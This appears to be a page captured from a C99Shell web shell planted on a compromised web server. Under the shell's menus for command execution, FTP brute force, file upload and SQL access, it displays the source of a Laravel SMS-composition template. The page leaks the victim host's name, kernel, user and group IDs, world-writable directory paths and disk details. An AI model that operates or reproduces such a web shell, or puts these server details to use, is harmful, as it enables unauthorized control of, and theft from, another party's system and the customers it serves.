!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/storage/framework/views/   drwxrwxrwx
Free 28.42 GB of 117.98 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     f571012fbd02f1be2ccec197e4649c2e.php (36.45 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php $__env->startSection('title'trans('customer.compose_smsbox')); ?>

<?php $__env->startSection('extra-css'); ?>
    <link rel="stylesheet" href="<?php echo e(asset('plugins/select2/css/select2.min.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('plugins/daterangepicker/daterangepicker.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('plugins/icheck-bootstrap/icheck-bootstrap.min.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('css/msg_overview.css')); ?>">
    <style>
        #select2-toNumbers-results, #select2-fromNumber-results{
            overflow-y: auto;
            max-height: 200px;
        }
        .from_type_btn.active{
            background-color: rgb(5 187 201) !important;
            border-color: rgb(5 187 201) !important;
            color: white;
        }
    </style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>

    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div class="container-fluid">
            <div class="row mb-2">
                <div class="col-sm-6">
                    <h1><?php echo e(trans('customer.quick_send')); ?></h1>
                </div>
                <div class="col-sm-6">
                    <ol class="breadcrumb float-sm-right">
                        <li class="breadcrumb-item"><a
                                href="<?php echo e(route('customer.smsbox.inbox')); ?>"><?php echo e(trans('customer.smsbox')); ?></a></li>
                        <li class="breadcrumb-item active"><?php echo e(trans('customer.quick_send')); ?></li>
                    </ol>
                </div>
            </div>
        </div><!-- /.container-fluid -->
    </section>

    <!-- Main content -->
    <section class="content">
        <div class="row">
            <!-- /.col -->
            <div class="col-lg-8 col-md-7 mx-auto">
                <div class="card card-primary card-outline">
                    <form id="compose_form" action="<?php echo e(route('customer.smsbox.compose.sent')); ?>" method="post" enctype="multipart/form-data">
                        <?php echo csrf_field(); ?>
                        <div class="card-header">
                            <h3 class="card-title"><?php echo e(trans('customer.compose_new_message')); ?></h3>
                        </div>
                        <!-- /.card-header -->
                        <div class="card-body">
                            <div class="form-group pb-3">
                                <button type="button" class="btn btn-default from_type_btn active" data-type="sms"><?php echo e(trans('customer.sms')); ?></button>
                                <button type="button" class="btn btn-default from_type_btn d-none" data-type="mms"><?php echo e(trans('customer.mms')); ?></button>
                                <button type="button" class="btn btn-default from_type_btn d-none" data-type="whatsapp"><?php echo e(trans('customer.whatsapp_sms')); ?></button>
                                <button type="button" class="btn btn-default from_type_btn d-none" data-type="voicecall"><?php echo e(trans('customer.voice_sms')); ?></button>
                            </div>

                            <div class="form-group">
                                <label for=""><?php echo e(trans('customer.select_from_type')); ?></label>
                                <select name="from_type" class="form-control select2" id="fromType">
                                    <option <?php echo e(isset($from_type) && $from_type=='phone_number'?'selected':''); ?> value="phone_number"><?php echo e(trans('customer.phone_number')); ?></option>
                                    
                                      <option <?php echo e(isset($from_type) && $from_type=='sender_id'?'selected':''); ?> value="sender_id"><?php echo e(trans('customer.sender_id')); ?></option>
                                </select>
                            </div>
                            <div id="pre_draft">
                                <?php if(isset($draft)): ?>
                                    <input type='hidden' id='draft_id' name='draft_id' value='<?php echo e($draft->id); ?>'/>
                                <?php endif; ?>
                            </div>
                            <div class="form-group from-number-section pb-3" id="phone_number_section">
                                <label for=""><?php echo e(trans('customer.phone_number')); ?>  :</label>
                                <?php $fromNumbers auth('customer')->user()->numbers()->where('expire_date','>'now())->get() ?>
                                <select name="from_number" class="form-control from_number" id="from_number">
                                    <?php if($fromNumbers->isNotEmpty()): ?>
                                        <?php $__currentLoopData $fromNumbers$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$number): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                            <option <?php echo e(isset($draft) && $draft->formatted_number_from==$number->number?'selected':($key==0?'selected':'')); ?>><?php echo e($number->number); ?></option>
                                        <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                    <?php else: ?>
                                        <option value="">No Data Available</option>
                                    <?php endif; ?>
                                </select>
                            </div>

                            <div class="form-group from-number-section pb-3" id="whatsapp_number_section" style="display: none">
                                <label for=""><?php echo e(trans('customer.whatsapp_from_number')); ?>:</label>
                                <?php $whatsAppNumbers auth('customer')->user()->whatsapp_numbers()->where('expire_date','>'now())->get() ?>
                                <select name="whatsapp_from_number" class="form-control from_number" id="whatsAppNumber">
                                    <?php $__currentLoopData $whatsAppNumbers$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$number): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                        <option <?php echo e(isset($draft) && $draft->formatted_number_from==$number->number?'selected':($key==0?'selected':'')); ?>><?php echo e($number->number); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                </select>
                            </div>

                            <div class="form-group from-number-section pb-3" id="sender_id_section" style="display: none">
                                <label for=""><?php echo e(trans('customer.from_sender_id')); ?> :</label>
                                <?php $senderIds auth('customer')->user()->sender_ids()->where('expire_date','>'now())->where('is_paid''yes')->where('is_dlt''no')->get() ?>
                                <select name="sender_id" class="form-control" id="senderId">

                                    <?php if($senderIds->isNotEmpty()): ?>
                                    <?php $__currentLoopData $senderIds$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$sender_id): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($sender_id->id); ?>" senderID="<?php echo e($sender_id->sender_id); ?>"><?php echo e($sender_id->sender_id); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                    <?php else: ?>
                                        <option value="">No Data Available</option>
                                    <?php endif; ?>
                                </select>
                            </div>

                            <div class="form-group from-number-section pb-3" id="voicecall_section" style="display: none">
                                <label for="voicecall_file"><?php echo e(trans('customer.voicecall_file')); ?></label>
                                <input type="file" accept="audio/mp3" id="voicecall_file" class="form-control" name="file_mp3">
                            </div>

                            <div class="form-group">
                                <div class="row">
                                    <div class="col-sm-12">
                                        <label for=""><?php echo e(trans('customer.Choose_Recipient')); ?></label>

                                        <select name="to_numbers[]" id="toNumbers" class="select2 compose-select"
                                                multiple="multiple"
                                                data-placeholder="<?php echo e(trans('customer.Choose_Recipient')); ?>:">

                                            <?php if(isset($draft) && $draft->formatted_number_to): ?>
                                                <?php $__currentLoopData $draft->formatted_number_to_array$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $to): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                    <option selected value="<?php echo e($to); ?>"><?php echo e($to); ?></option>
                                                <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                            <?php endif; ?>
                                            <?php if(isset($users_to_contacts)): ?>
                                                <optgroup label="Contacts">
                                                    <?php $__currentLoopData $users_to_contacts$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $to): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                        <option value="<?php echo e(json_encode($to)); ?>"><?php echo e($to['value']); ?></option>
                                                    <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                                </optgroup>
                                            <?php endif; ?>

                                            <?php if(isset($users_to_groups)): ?>
                                                <optgroup label="Groups">
                                                    <?php $__currentLoopData $users_to_groups$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $to): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                                        <option value="<?php echo e(json_encode($to)); ?>"><?php echo e($to['value']); ?></option>
                                                    <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                                                </optgroup>
                                            <?php endif; ?>
                                        </select>
                                    </div>
                                </div>
                            </div>
                            <div class="form-group">
                                <label for=""><?php echo e(trans('customer.message_body')); ?></label>
                            <textarea name="body" id="compose-textarea" class="form-control compose-body"
                                      placeholder="<?php echo e(trans('customer.enter_message')); ?>"><?php echo e(isset($draft)?$draft->body:''); ?></textarea>
                                <div class="text-right">
                                    <b id="smsCount"></b> SMS (<b id="smsLength"></b>) <?php echo e(trans('customer.character_left')); ?>

                                </div>
                            </div>
                            <div class="form-group d-none">
                                <div class="d-block">
                                    <button type="button" class="btn btn-danger" id="smsCalculator"><?php echo e(trans('customer.Calculate')); ?></button>
                                    <span id="smsCalculateData" class="d-none"><?php echo e(trans('customer.total_sms_will_send')); ?> (<b id="smsCountTotal">0</b>) || Total Contacts (<b id="contectCount">0</b>) || Total amount (<?php echo e(isset(json_decode(get_settings('local_setting'))->currency_symbol)?json_decode(get_settings('local_setting'))->currency_symbol:''); ?><b id="amountCount">0</b>)</span>
                                    <span class="text-danger ml-3 d-none" id="composeErrorMessage">No data available</span>
                                </div>
                            </div>
                            <div class="form-group d-none" id="mms_files_input">
                                <label for="mms_files"><?php echo e(trans('customer.choose_file')); ?>:</label>
                                <div class="input-group">
                                    <div class="custom-file">
                                        <input type="file" accept=" application/pdf, image/*,video/*" id="mms_files" class="custom-file-input form-group" name="mms_files[]" multiple>
                                        <label class="custom-file-label" for="profile"><?php echo e(trans('customer.choose_file')); ?></label>
                                    </div>
                                </div>
                                <ul class="img-jpg" id="img-jpg"></ul>
                            </div>

                            <div class="form-group d-none">

                                <div class="icheck-success d-inline">
                                    <input <?php echo e(isset($draft) && $draft->schedule_datetime?'checked':''); ?> name="isSchedule"
                                           type="checkbox" id="isScheduled">
                                    <label for="isScheduled">
                                        <?php echo e(trans('customer.schedule')); ?>

                                    </label>
                                </div>

                                <input style="display: <?php echo e(isset($draft) && $draft->schedule_datetime?'block':'none'); ?>"
                                       name="schedule"
                                       value="<?php echo e(isset($draft) && $draft->schedule_datetime?$draft->schedule_datetime->format('m/d/Y h:i A'):''); ?>"
                                       id="schedule" type='text'
                                       class="form-control"/>
                            </div>

                        </div>
                        <!-- /.card-body -->
                        <div class="card-footer">
                            <div class="float-right">
                                <button id="draft" type="button" class="btn btn-default d-none"><i
                                        class="fas fa-pencil-alt"></i> <?php echo e(trans('customer.draft')); ?>

                                </button>
                                <button type="submit" class="btn btn-primary"><i
                                        class="far fa-envelope"></i> <?php echo e(trans('customer.send')); ?>

                                </button>
                            </div>
                            <button id="reset" type="button" class="btn btn-default d-none"><i
                                    class="fas fa-times"></i> <?php echo e(trans('customer.reset')); ?>

                            </button>
                        </div>
                        <!-- /.card-footer -->
                    </form>
                </div>
                <!-- /.card -->
            </div>
            <div class="col-md-5 col-lg-4" id="mobileVersion">
                <div class="iphone"
                     style="background-image: url('<?php echo e(asset('images/iphone6.png')); ?>')">
                    <div class="border">
                        <div class="responsive-html5-chat">
                            <form class="chat">
                                <span></span>
                                <div class="messages">
                                    <div class="message">
                                        <div class="myMessage"><p></p>
                                            <date><b></b> 23.06.2023 14:30:7</date>
                                        </div>
                                    </div>
                                </div>
                                <input type="text" placeholder="Your message" disabled="">
                                <input type="submit" value="Send" disabled="">
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- /.row -->
    </section>
    <!-- /.content -->
    <input type="hidden" id="meg-time">
    <input type="hidden" id="whatsappType" value="<?php echo e(request()->get('type')); ?>">

<?php $__env->stopSection(); ?>

<?php $__env->startSection('extra-scripts'); ?>
    <script src="<?php echo e(asset('plugins/select2/js/select2.full.min.js')); ?>"></script>
    <script src="<?php echo e(asset('plugins/daterangepicker/moment.min.js')); ?>"></script>
    <script src="<?php echo e(asset('plugins/daterangepicker/daterangepicker.js')); ?>"></script>

    <script !src="">
        "use strict";
        var select2 = $('#toNumbers').select2({
            minimumInputLength: 1,
            tags: true,
            tokenSeparators: [",", " "],
        })

        $('#fromNumber').select2({
            theme: 'bootstrap4'
        });

        $('#fromSenderId').select2({
            theme: 'bootstrap4'
        });
        $('#from_number').select2({
            multiple:false,
            placeholder:'Select a from number',
        });
        $('#whatsAppNumber').select2({
            multiple:false,
            placeholder:'Select a from number',
        });

        $(function () {
            "use strict";
            $('#schedule').daterangepicker({
                autoUpdateInput: true,
                singleDatePicker: true,
                timePicker: true,
                locale: {
                    format: 'MM/DD/YYYY hh:mm A'
                }
            });
        });
        $(function () {
            const whatsappType = $('#whatsappType').val()
            if(whatsappType == 'whatsapp_number'){
                $('#mms_files_input').removeClass('d-none');
            }
        });
        $('#isScheduled').on('change', function (e) {
            const checked = $(this).is(':checked');
            if (checked) {
                $('#schedule').show();
            } else {
                $('#schedule').hide();
            }
        })

        $('#reset').on('click', function (e) {
            e.preventDefault();
            $(select2).val('').trigger('change');
            $("#compose-textarea").val('');
            let checked = $("#isScheduled").is(':checked');
            if (checked) {
                $('#isScheduled').click().prop("checked", false);
            }
        })

        $('#draft').on('click', function (e) {
            e.preventDefault();
            const from = $('.from_number').val();
            const to = $('#toNumbers').val();
            const body = $('#compose-textarea').val();
            const checked = $("#isScheduled").is(':checked');
            const draft_id = $("#draft_id").val();
            let schedule = '';
            if (checked) {
                schedule = $('#schedule').val();
            }
            $.ajax({
                method: 'post',
                url: '<?php echo e(route('customer.smsbox.draft.store')); ?>',
                data: {_token: '<?php echo e(csrf_token()); ?>', from, to, body, checked, schedule, draft_id},
                success: function (res) {
                    if (res.status == 'success') {
                        notify('success', res.message);
                        var id = res.data.id;
                        $('#pre_draft').html("<input type='hidden' id='draft_id' name='draft_id' value='" + id + "'/>");

                    } else {
                        notify('danger', res.message);
                    }
                }
            })

        })

        $('#fromType').on('change',function (e) {
            const type = $(this).val();
            $('.from-number-section').hide();
            $('#' + type + "_section").show();
        });


        $('.select_type').on('change',function (e) {
            e.preventDefault()
            const type=$(this).val();
             if(type == 'sender_Id') {
                $('#numberfrom').addClass('d-none').removeClass('d-flex');
                 $('#whatsAppNumber').addClass('d-none').removeClass('d-flex');
                 $('#senderIdfrom').addClass('d-flex').removeClass('d-none');
            } else if (type == 'phone_number') {
                $('#senderIdfrom').addClass('d-none').removeClass('d-flex');
                $('#whatsAppNumber').addClass('d-none').removeClass('d-flex');
                $('#numberfrom').addClass('d-flex').removeClass('d-none');
            }else{
                 $('#numberfrom').addClass('d-none').removeClass('d-flex');
                 $('#senderIdfrom').addClass('d-none').removeClass('d-flex');
                 $('#whatsAppNumber').addClass('d-flex').removeClass('d-none');
             }
        });

        $('#phone_number').trigger('change');

        $(document).on('click', '.from_type_btn', function(e){

            $('.from_type_btn').removeClass('active');

            $(this).addClass('active');
        })
    </script>

    <script>
        "use strict";

        function responsiveChatPush(element, sender, origin, date, message) {
            // message=escapeHtml(message);
            let originClass;
            if (origin == 'me') {
                originClass = 'myMessage';
            } else {
                originClass = 'fromThem';
            }
            $(element + ' .messages').html('<div class="message"><div class="' + originClass + '"><p>' + message + '</p><date><b>' + sender + '</b> ' + date + '</date></div></div>');
        }

        function responsiveChat(element) {
            $(element).html('<div class="chat"><span></span><div class="messages" ></div><input type="text" placeholder="Your message" disabled><input type="submit" value="Send" disabled></div>');
        }

        responsiveChat('.responsive-html5-chat');

    </script>

    <script>
        (function($){
            $.fn.smsArea = function(options){

                //Generate Ascii Character Array
                var maxCh = 1000;
                var minCh = 0;
                var arrAscii = [];
                for(minCh =1;  minCh < maxCh; minCh++){
                    arrAscii.push(minCh * 160);
                }
                //End

                //Generate Unicode Character Array
                var unMaxCh = 1000;
                var unMinCh = 0;
                var arrUnicode = [];
                for(unMinCh =1;  unMinCh < unMaxCh; unMinCh++){
                    arrUnicode.push(unMinCh * 70);
                }
                //End

                var
                    e = this,
                    cutStrLength = 0,

                    s = $.extend({

                        cut: true,
                        maxSmsNum: 1000,
                        interval: 5,

                        counters: {
                            message: $('#smsCount'),
                            character: $('#smsLength')
                        },

                        lengths: {
                            ascii: arrAscii,
                            unicode: arrUnicode
                        }
                    }, options);


                e.keyup(function(){

                    clearTimeout(this.timeout);
                    this.timeout = setTimeout(function(){

                        var
                            smsType,
                            smsLength = 0,
                            smsCount = -1,
                            charsLeft = 0,
                            text = e.val(),
                            isUnicode = false;

                        for(var charPos = 0; charPos < text.length; charPos++){
                            switch(text[charPos]){
                                case "\n":
                                case "[":
                                case "]":
                                case "\\":
                                case "^":
                                case "{":
                                case "}":
                                case "|":
                                case "€":
                                    smsLength += 2;
                                    break;

                                default:
                                    smsLength += 1;
                            }

                            //!isUnicode && text.charCodeAt(charPos) > 127 && text[charPos] != "€" && (isUnicode = true)
                            if(text.charCodeAt(charPos) > 127 && text[charPos] != "€")
                                isUnicode = true;
                        }

                        if(isUnicode)   smsType = s.lengths.unicode;
                        else                smsType = s.lengths.ascii;

                        for(var sCount = 0; sCount < s.maxSmsNum; sCount++){

                            cutStrLength = smsType[sCount];
                            if(smsLength <= smsType[sCount]){

                                smsCount = sCount + 1;
                                charsLeft = smsType[sCount] - smsLength;
                                break
                            }
                            console.log(sCount, s.maxSmsNum);
                        }

                        if(s.cut) e.val(text.substring(0, cutStrLength));
                        smsCount == -1 && (smsCount = s.maxSmsNum, charsLeft = 0);

                        s.counters.message.html(smsCount);
                        s.counters.character.html(charsLeft);

                    }, s.interval)
                }).keyup();

            }}(jQuery));


        //Start
        $(function(){
            $('#compose-textarea').smsArea();
        })
        $('#fromType').trigger('change');
    </script>
    <script>
        $(function(){
           let type = $('#whatsappType').val();
            if (type){
                if (type == 'phone_number'){
                    const from = $('#from_number').val();
                    $("#from_number_mobaile_view").html(from);
                }else if (type == 'sender_id'){
                   const from = $('option:selected',$('#senderId')).attr('senderID');
                    $("#from_number_mobaile_view").html(from);
                }else if (type == 'whatsapp_number'){
                    const from = $('#whatsAppNumber').val();
                    $("#from_number_mobaile_view").html(from);
                }

            }else {
                const from = $('.from_number').val();
                $("#from_number_mobaile_view").html(from);
            }
        });
        $(document).on('change', '#fromType', function(e) {
            const type = $(this).val();
            let from_number = '';
            if(type == 'whatsapp_number') {
                 from_number = $('#whatsAppNumber').val();
                $('#mms_files_input').removeClass('d-none');
                $('#compose-textarea').removeClass('d-none');
                $('#compose-textarea').addClass('form-control compose-body');
            } else if (type == 'sender_id') {
                 from_number = $('option:selected',$('#senderId')).attr('senderID');
                $('#mms_files_input').addClass('d-none');
                $('#compose-textarea').removeClass('d-none');
                $('#compose-textarea').addClass('form-control compose-body');
            }else if (type == 'phone_number'){
                 from_number = $('.from_number').val();
                $('#mms_files_input').addClass('d-none');
                $('#compose-textarea').removeClass('d-none');
                $('#compose-textarea').addClass('form-control compose-body');
            }else if (type == 'voicecall'){
                $('#compose-textarea').addClass('d-none');
            }
            $("#from_number_mobaile_view").html(from_number);
        });

        $(document).on('change', '#whatsAppNumber', function(e) {
            e.preventDefault()
            const type = $('#fromType').val();
            let from_number = '';
            if (type == 'whatsapp_number') {
                from_number = $('#whatsAppNumber').val();
            }
            $("#from_number_mobaile_view").html(from_number);
        });
        $(document).on('change', '#senderId', function(e) {
            e.preventDefault()
            const type = $('#fromType').val();
            let from_number = '';
            if(type == 'sender_id') {
                from_number = $('option:selected',$('#senderId')).attr('senderID');
            }
            $("#from_number_mobaile_view").html(from_number);
        });
        $(document).on('change', '#from_number', function(e) {
            e.preventDefault()
            const type = $('#fromType').val();
            let from_number = '';
            if (type == 'phone_number') {
                from_number = $('#from_number').val();
            }
            $("#from_number_mobaile_view").html(from_number);
        });
        $("#compose-textarea").on("keyup change", function(e) {
            e.preventDefault()
            const type = $('#fromType').val();
            let from_number = '';
            if(type == 'sender_id') {
                from_number = $('option:selected',$('#senderId')).attr('senderID');
            } else if (type == 'phone_number') {
                from_number = $('#from_number').val();
            }else if (type == 'whatsapp_number'){
                from_number = $('#whatsAppNumber').val();
            }
            const checked = $("#isScheduled").is(':checked');
            let dateTime ='';
            if (checked) {
                dateTime = $('#schedule').val();
            }else {
                dateTime = $('#meg-time').val()
            }
            let data = $('#compose-textarea').val();
            let compose = data.replace(/\n/g,"<br />");

            responsiveChatPush('.chat', '', 'me', '23.06.2023 14:30:7', compose);
            $("#from_number_mobaile_view").html(from_number);

        });
        $('#schedule').on('change', function (e) {
            e.preventDefault()
            const type = $('#fromType').val();
            let from_number = '';
            if(type == 'sender_id') {
                from_number = $('option:selected',$('#senderId')).attr('senderID');
            } else if (type == 'phone_number') {
                from_number = $('#from_number').val();
            }else if (type == 'whatsapp_number'){
                from_number = $('#whatsAppNumber').val();
            }
            let data = $('#compose-textarea').val();
            let compose = data.replace(/\n/g,"<br />");
            const checked = $("#isScheduled").is(':checked');
            let dateTime ='';
            if (checked) {
                dateTime = $('#schedule').val();
            }else {
                dateTime = $('#meg-time').val()
            }
            if (compose){
                $("#msg_mobaile_view").html(`<article class="msg-container msg-remote" id="msg-0">
                                <div class="mag-time">${dateTime}</div>
                                <div class="msg-box">
                                    <div class="flr">
                                        <div class="messages">
                                            <div class="msg">${compose}</div>
                                        </div>
                                    </div>
                                </div>
                                <span>J</span>
                            </article>`);
            }

            $("#from_number_mobaile_view").html(from_number);
        });
        $('#isScheduled').on('change', function (e) {
            e.preventDefault()
            const type = $('#fromType').val();
            let from_number = '';
            if(type == 'sender_id') {
                from_number = $('option:selected',$('#senderId')).attr('senderID');
            } else if (type == 'phone_number') {
                from_number = $('#from_number').val();
            }else if (type == 'whatsapp_number'){
                from_number = $('#whatsAppNumber').val();
            }
            let data = $('#compose-textarea').val();
            let compose = data.replace(/\n/g,"<br />");
            const checked = $("#isScheduled").is(':checked');
            let dateTime ='';
            if (checked) {
                dateTime = $('#schedule').val();
            }else {
                dateTime = $('#meg-time').val()
            }
            if (compose){
                $("#msg_mobaile_view").html(`<article class="msg-container msg-remote" id="msg-0">
                                <div class="mag-time">${dateTime}</div>
                                <div class="msg-box">
                                    <div class="flr">
                                        <div class="messages">
                                            <div class="msg">${compose}</div>
                                        </div>
                                    </div>
                                </div>
                                <span>J</span>
                            </article>`);
            }

            $("#from_number_mobaile_view").html(from_number);
        });
        $('#mms_files').change(function(e) {
            const fileName = e.target.files;
            for (var i = 0; i < fileName.length; i++) {
                $("#img-jpg").append("<li>"+fileName[i].name+"</li>,");
            }
        });
    </script>
    <script>
        const myDate = new Date();
        let daysList = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'];
        let monthsList = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Aug', 'Oct', 'Nov', 'Dec'];


        let date = myDate.getDate();
        let month = monthsList[myDate.getMonth()];
        let year = myDate.getFullYear();
        let day = daysList[myDate.getDay()];

        let today = `${date} ${month} ${year}, ${day}`;

        let amOrPm;
        let twelveHours = function () {
            if (myDate.getHours() > 12) {
                amOrPm = 'PM';
                let twentyFourHourTime = myDate.getHours();
                let conversion = twentyFourHourTime - 12;
                return `${conversion}`

            } else {
                amOrPm = 'AM';
                return `${myDate.getHours()}`
            }
        };
        let hours = twelveHours();
        let minutes = myDate.getMinutes();

        let currentTime = `${hours}:${minutes} ${amOrPm}`;
        $('#meg-time').val(today + ' ' + currentTime)
    </script>
    <script>
        $('#smsCalculator').on('click', function (e) {
            const fromType = $('#fromType').find(':selected').val();
            const message = $('#compose-textarea').val();
            const toNumbers = $('#toNumbers').val();
            if (fromType && message && toNumbers){
                $.ajax({
                    method: 'get',
                    url: '<?php echo e(route('customer.smsbox.compose.sms.calculate')); ?>',
                    data: {from_type: fromType,message:message,to_numbers:toNumbers},
                    success: function (res) {
                        if (res.status == 'success') {
                            $('#smsCountTotal').text(res.data.totalSms);
                            $('#contectCount').text(res.data.totalNumber)
                            $('#amountCount').text(res.data.totalRate)
                        }
                    }
                });
                $('#composeErrorMessage').addClass('d-none')
                $('#smsCalculateData').removeClass('d-none')
            }else {
                $('#composeErrorMessage').removeClass('d-none')
                $('#smsCalculateData').addClass('d-none')
            }

        });
    </script>

<?php $__env->stopSection(); ?>



<?php echo $__env->make('layouts.customer'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?><?php /**PATH /home/picotech/domains/test.sms.picotech.app/public_html/resources/views/customer/smsbox/compose.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--